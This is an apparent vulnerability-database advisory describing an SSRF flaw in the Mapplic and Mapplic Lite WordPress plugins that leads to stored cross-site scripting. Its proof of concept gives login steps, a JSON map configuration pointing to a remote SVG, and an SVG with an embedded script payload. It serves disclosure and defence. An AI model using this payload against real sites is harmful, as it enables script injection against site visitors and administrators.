WordPress Plugin Vulnerabilities
Mapplic and Mapplic Lite - SSRF to Stored Cross-Site Scripting (XSS)
Description
The Mapplic Lite <= 1.0 and Mapplic <= 6.2 plugins are affected by server-side request forgery issues, allowing low privilege users (author+) to use an arbitrary remote map file, such as an SVG which could lead to Stored Cross-Site Scripting issues.
Proof of Concept
#1.Login as user (author+) #2.Add Add/Edit Map - [From Add]Enter github url with payload at "Map File (required)" - [From Edit]Click raw and enter github url with payload #Example [From edit] {"mapwidth":"100","mapheight":"100","minimap":false,"clearbutton":true,"zoombuttons":true,"sidebar":false, "search":false,"hovertip":true,"mousewheel":true,"fullscreen":false,"deeplinking":true,"mapfill":false, "zoom":true,"alphabetic":false,"zoomlimit":"3","action":"tooltip","categories":[], "levels":[{"id":"my-map","title":"My Map","map":" https://raw.githubusercontent.com/xxxxx/xss.svg ","minimap":"","locations":[]}]} with https://raw.githubusercontent.com/xxxxx/xss.svg: <svg version="1.1" id="mapplic-usa" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="960px" height="600px" viewBox="0 0 960 600" enable-background="new 0 0 960 600" xml:space="preserve"> <script>alert(/XSS/)</script> </svg>
Affects Plugins
References
Classification
Type
SSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Eagle Eye
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-03-23 (about 3 years ago)
Added
2021-03-23 (about 3 years ago)
Last Updated
2021-05-30 (about 2 years ago)